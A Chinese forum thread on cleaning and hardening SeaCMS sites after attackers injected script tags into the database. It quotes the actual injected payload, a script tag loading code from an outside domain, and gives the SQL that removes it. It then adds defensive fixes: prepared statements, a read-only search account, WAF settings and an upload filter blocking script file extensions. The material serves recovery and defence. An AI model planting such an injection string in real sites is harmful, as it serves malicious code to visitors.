★〓★海洋CMS★〓★ 数据库挂马防范及恢复方法(2019.4.20更新 数据库读写分离)

nohacks 3月前 4514


首先了解一下SQL的搜索替换命令,

update [表名] set 字段名 = replace(与前面一样的字段名,'原本内容','想要替换成什么')

检测数据库,发现是在sea_data表,v_pic字段后面插入了下面代码:

"></script<script/**/src=https://www.qiuxiazx.com/data/velists.txt</script><a a="

可以通过查看网页源码("view-source:https://www.xxx.com"),搜索 "<script" 找到代码。

恢复数据方法,执行以下SQL语句:

update sea_data set v_pic = replace(v_pic,'"></script><script/**/src=https://www.qiuxiazx.com/data/velists.txt></script><a a="','')

目前不知道攻击者是针对SQL注入还是search.php的模版if标签注入问题还是其它漏洞。

如果是前者,我这里提供一个预处理机制的代码,可以防止SQL注入。

/include/sql.class.php 类 添加下面方法:

	//以PDO 预处理查询,可防止SQL注入
	function QueryPdo($sql='',$param=null)
	{
	
		if(!empty($sql))
		{
			 $this->SetQuery($sql);
		}
	
         $dsn="mysql:host=".$this->dbHost.";dbname=".$this->dbName;
      
     try {
          $dbh = new PDO($dsn, $this->dbUser, $this->dbPwd); //初始化一个PDO对象
          //$dbh = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));
       } catch (PDOException $e) {
         die ("Error!: " . $e->getMessage() . "<br/>");
        }
        $stmt = $dbh->prepare($sql);
        if( $stmt->execute($param)){$row = $stmt->fetchall();}else{ $row=false;}
      $dbh=null;
     return $row;
	}


对应调用代码也需要修改,例如: search.php 修改为下面的代码:

switch (intval($searchtype)) {
case -1:
$whereStr=" where v_recycled=0 and (v_name like ? or v_actor like ? or v_director like ? or v_publisharea like ? or v_publishyear like ? or v_letter=? or v_tags=? or v_nickname like ?)";
 $parm=array("%$searchword%","%$searchword%","%$searchword%","%$searchword%","%$searchword%","%$searchword%","%$searchword%","%$searchword%");
        break;
case 0:
$whereStr=" where v_recycled=0 and v_name like ?";
            $parm=array("%$searchword%");
break;
case 1:
$whereStr=" where v_recycled=0 and v_actor like ?";
            $parm=array("%$searchword%");
break;
case 2:
$whereStr=" where v_recycled=0 and v_publisharea like ?";
             $parm=array("%$searchword%");
break;
case 3:
$whereStr=" where v_recycled=0 and v_publishyear like ?";
              $parm=array("%$searchword%");
break;
case 4:
$whereStr=" where v_recycled=0 and v_letter=?";
              $parm=array(strtoupper($searchword));
break;
case 5:
            $parm=array();
$whereStr=" where v_recycled=0";
if(!empty($tid)) {$whereStr.=" and (tid in(".getTypeId($tid).") or FIND_IN_SET(?,v_extratype)<>0)";array_push( $parm,$tid);}
if($year=="more")
{
$publishyeartxt=sea_DATA."/admin/publishyear.txt";
$publishyear = array();
if(filesize($publishyeartxt)>0)
{
$publishyear = file($publishyeartxt);
}
$yearArray=$publishyear;
$yeartxt= implode(',',$yearArray);
$whereStr.=" and v_publishyear not in ($yeartxt)";
}
if(!empty($year) AND $year!="more"){$whereStr.=" and v_publishyear=?";array_push( $parm,$year);}
if($letter=="0-9"){$whereStr.=" and v_letter in ('0','1','2','3','4','5','6','7','8','9')";}
if(!empty($letter) AND $letter!="0-9"){$whereStr.=" and v_letter=?";array_push( $parm,$letter); }
if(!empty($area)) {$whereStr.=" and v_publisharea=?";array_push($parm,$area);}
if(!empty($yuyan)){$whereStr.=" and v_lang=?";array_push( $parm,$yuyan);}
if(!empty($jq)) {$whereStr.=" and v_jq like ?";array_push( $parm,"%$jq%");} 
if($state=='l') $whereStr.=" and v_state !=0";
if($state=='w') $whereStr.=" and v_state=0";
if($money=='s') $whereStr.=" and v_money !=0";
if($money=='m') $whereStr.=" and v_money=0";
if(!empty($ver)) {$whereStr.=" and v_ver=?";array_push( $parm,$ver);};
break;
}
    $sql="select count(*) as dd from sea_data ".$whereStr." limit 0,1;";
//$row = $dsql->GetOne($sql);
    $row = $dsql->QueryPdo($sql, $parm);
    if(is_array($row))
{
$TotalResult = $row[0]['dd'];
}
else
{
$TotalResult = 0;
}

注意事项:

1. 修改数据库密码

     修复后一定要修改数据库密码,攻击者可能已经获取数据库密码,修改后记得同步"/data/common.inc.php" 的SQL配置,不然网站无法使用。

2. 删除安装目录(install)

       攻击者可利用安装目录进行攻击,所以安装完后务必删除。

3.  数据库的所有数据表引擎转为InnoDB

       将数据库所有数据表引擎转为InnoDB,进一步加强安全性,宝塔-数据库-工具-MYSQL工具箱。

4. 设置网站根目录权限为只读权限 555

    设置网站根目录权限为555,然后设置data,xml及uploads目录的读写权限为755,index.html,top.html,new.html等生成文件为755权限。

5. 开启网站防火墙

       这里只说下宝塔面板的设置,其他请自行查阅。

       网站web服务建议使用nginx,这样可以免费使用其内置的lua防火墙,使用方法是修改配置文件,找到下面的代码:


http
    {
        include       mime.types;
	//include luawaf.conf;


去掉前面的注释符号 , 修改后变为:

http
    {
        include  mime.types;
	include luawaf.conf;


保存配置,然后修改其配置文件"/www/server/nginx/waf/config.lua",修改后如下:

RulePath = "/www/server/panel/vhost/wafconf/"
attacklog = "on"
logdir = "/www/wwwlogs/waf/"
UrlDeny="on"
Redirect="on"
CookieMatch="on"
postMatch="on" 
whiteModule="on" 
black_fileExt={"php","jsp"}
ipWhitelist={"127.0.0.1"}
ipBlocklist={"1.0.0.1"}
CCDeny="on"
CCrate="300/60"

 表示开启所有防护,保存后重启nginx服务生效。

 如果嫌麻烦,可以用收费插件。

6. 服务器安装防护软件

    建议悬镜,云锁。

   

7. 数据库读写分离(搜索使用只读账号)

    频繁被挂马估计是search.php的问题,因此在找不到漏洞的情况下,作为最后防线,我们限制search.php使用只读权限操作数据库就可以禁止数据库挂马而不影响系统其他功能。

  1. 创建只读数据库配置文件 "data.inc.php"

        复制"/data/common.inc.php"并重命名为data.inc.php

        打开修改其内容中"127.0.0.1"为"localhost"保存。

   2. 设置数据库只读账号

          宝塔-数据库-管理-账户

          选择海洋CMS所用的账户并且主机名为"localhost" 所在行,  修改数据库权限,只打勾SELECT,执行即可。

  3.修改搜索使用数据库只读账号

        打开 "include/common.php",找到代码

//数据库配置文件
require_once(sea_DATA.'/common.inc.php');

修改为:

//智能加载数据库配置
if(preg_match('#/(.*?\.php)#',htmlentities($_SERVER['PHP_SELF']),$ref) && $ref[1] == "search.php"){require_once(sea_DATA.'/data.inc.php');}else{require_once(sea_DATA.'/common.inc.php');}

如果还是被挂马,说明不是search.php的问题,可采取下面更严厉的方案,只给自动入库数据库可写权限,其它一切只读权限(会导致部分功能失效,如:人气,推荐等):

//智能加载数据库配置
if(preg_match('#/(.*?\.php)#',htmlentities($_SERVER['PHP_SELF']),$ref) && $ref[1] == "admin_reslib2.php"){require_once(sea_DATA.'/common.inc.php');}else{require_once(sea_DATA.'/data.inc.php');}


8. 修复上传漏洞

   海洋CMS 9.8版本修复了一处安全漏洞,文件为“include/uploadsafe.inc.php”

修复后源码如下:


<?php
if(!defined('sea_INC'))
{
	exit("Request Error!");
}
if(isset($_FILES['GLOBALS']))
{
	exit('Request not allow!');
}
//为了防止用户通过注入的可能性改动了数据库 
//这里强制限定的某些文件类型禁止上传
$cfg_not_allowall = "php|pl|cgi|asp|asa|cer|aspx|jsp|php3|shtm|shtml|htm|html";
$imtypes = array("image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp");
$keyarr = array('name','type','tmp_name','size');
$fskey=array('(',')','<','>','%','0x','|',';','{','}','$','&','*','#','@','[',']');
foreach($_FILES as $_key=>$_value)
{
	foreach($keyarr as $k)
	{
		if(!isset($_FILES[$_key][$k]))
		{
			exit('Request Error!');
		}
	}
if(!filter_var($_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP)){$_SERVER['HTTP_CLIENT_IP']='0.0.0.0';}
if(!filter_var($_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP)){$_SERVER['REMOTE_ADDR']='0.0.0.0';}	
if(!filter_var($_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP)){$_SERVER['HTTP_X_FORWARDED_FOR']='0.0.0.0';}		
//安全过滤  
$_FILES[$_key]['name']=str_ireplace($fskey,'',$_FILES[$_key]['name']);
$_FILES[$_key]['tmp_name']=str_ireplace($fskey,'',$_FILES[$_key]['tmp_name']);
$_SERVER['HTTP_COOKIE']=str_ireplace($fskey,'',$_SERVER['HTTP_COOKIE']);	
	$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']);
	${$_key.'_name'} = $_FILES[$_key]['name'];
	${$_key.'_type'} = $_FILES[$_key]['type'] = m_eregi_replace('[^0-9a-z\./]','',$_FILES[$_key]['type']);
	${$_key.'_size'} = $_FILES[$_key]['size'] = m_ereg_replace('[^0-9]','',$_FILES[$_key]['size']);
	//过滤类型
    if(!empty(${$_key.'_name'}) && (m_eregi("\.(".$cfg_not_allowall.")$",${$_key.'_name'}) || !m_ereg("\.",${$_key.'_name'})) )
	{
			exit('Upload filetype not allow !');
	}
    //检测图片
     if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
    {
     $image_dd = @getimagesize($$_key); if($image_dd == false){continue;}
     if (!is_array($image_dd)) {exit('Upload filetype not allow !');}
    }
	if(empty(${$_key.'_size'})){${$_key.'_size'} = @filesize($$_key);}
}
?>


保存后删除缓存即可。

测试站点: https://xymov.tv 

待续。。

最后于 2月前 被nohacks编辑 ,原因: 更新 数据库读写分离 修复bug
上传的附件:
最新回复 (19)
  • nohacks 3月前
    0 引用 2
    lengheima 这样操作之后发现,会员中心不能用充值卡充值了
    官方已处理,升级到最新版即可
  • nohacks 3月前
    0 引用 3
    KingVstr 请问上传的这个附件有用吗
    当然
  • nohacks 3月前
    0 引用 4
    winbiz 除了data及uploads目录还有index.html,top.html,new.html等生成文件为755权限,其它目录都是555吗?
    是的
  • nohacks 3月前
    0 引用 5

    可以添加url白名单,修改“/www/server/panel/vhost/wafconf/whiteurl”
    例如:zblog 需添加
    ^/zb_users/
    ^/zb_system/

    拦截日志"/www/wwwlogs/waf/里可以查看拦截路径。

  • nohacks 3月前
    0 引用 6
    pins8 nohacks 可以添加url白名单,修改“/www/server/panel/vhost/wafconf/whiteurl”例如:zblog&amp;n ...
    postMatch="off" 

    可以关闭post保护或使用路径白名单
  • nohacks 3月前
    0 引用 7
    woshiren $_SERVER['PHP_SELF']这个变量是有bug的,楼主代码有问题啊!search.php后面跟参数你那个判断就失效了,一样会加载有写入权限的文件,所以改良代码: preg_match(' ...
    谢谢反馈,已修复。
  • nohacks 3月前
    0 引用 8
    ltlt999 这次挂马事件可以百分百肯定与search.php有关,我把这个文件里代码全部删除,3天没有再被挂马。
    哦 ,那么这个方案应该能解决这个问题
  • nohacks 3月前
    0 引用 9
    1563920 首先感谢楼主的分享。 我在 系统:CentOS Linux 宝塔控制面板 用数据库读写分离办法 搜素电影时候提示 Error infos: seacms错误警告:连接数据库失败,可能数据库 ...
    我测试站和你环境一样,测试无问题,没有什么特殊操作
    检查下操作步骤吧,估计是只读账户配置问题
  • nohacks 3月前
    0 引用 10

    呵呵,大神什么的不敢当啊,谢谢支持,感同身受,我也是受害者,只希望能解决问题。

  • nohacks 3月前
    0 引用 11
    wujin1123 update sea_data set v_pic = replace(v_pic,'">
    可以分2次执行,这个是搜索替换
  • nohacks 3月前
    0 引用 12
    yeah9898 nohacks,不是搜索文件,刚看你站你又被挂了....
    是被挂了,特别烦,看来只能允许 入库用 可写admin_reslib.php或admin_reslib2.php
  • nohacks 3月前
    0 引用 13
    注意这个命令:
    update [表名] set 字段名 = replace(与前面一样的字段名,'原本内容','想要替换成什么')

    你要搜索的内容是在同一字段内吗?'原本内容' 可以是多个网址,任意内容
  • nohacks 3月前
    0 引用 14

    好奇怪,既然是同一字段,你把数据库除图片外多出的内容替换就可以,不管几个网址,你贴个被挂的字段内容看看

  • nohacks 3月前
    0 引用 15
    wujin1123 我这个是软件自动替换的 软件是每隔几分钟就会帮我替换一次 所以我想整合多个网址成为一个代码   挂马的人会利用多个网址进行挂 所以软件无法用其它代码替换

    这个是支持用正则的

    update sea_data set v_pic = replace_replace
    (v_pic,'".*$','')

  • nohacks 3月前
    0 引用 16
    wujin1123 谢谢
    貌似不行 ,不支持
  • nohacks 3月前
    0 引用 17
    多多 https://www.hukandy.com/ https://www.dieka123.com/ https://www.guojuren.com/ https://www.726ys.co ...
    测试站 也没有被挂
  • nohacks 3月前
    0 引用 18
    多多 那完蛋了,他不挂你的了  挂我们的,你可以解决。。。还挺聪明的 这个垃圾黑帽

    不是这个的原因,挂马应该是脚本全自动扫描的。

    你升级了9.8版本吗?貌似解决了被挂问题,不行就只给自动入库数据库可写权限。

    现在测试站是9.8 + 搜索 数据库只读权限 + 根目录555权限

  • nohacks 4天前
    0 引用 19
    多多 你站又被挂马了 速度解决。。
    谢谢反馈,已修复
  • nohacks 2天前
    0 引用 20
    多多 没想到你也没搞定,我用的是之前那个大神的版本 9.8版本 至今没被挂。
    这个是最新漏洞
返回
发新帖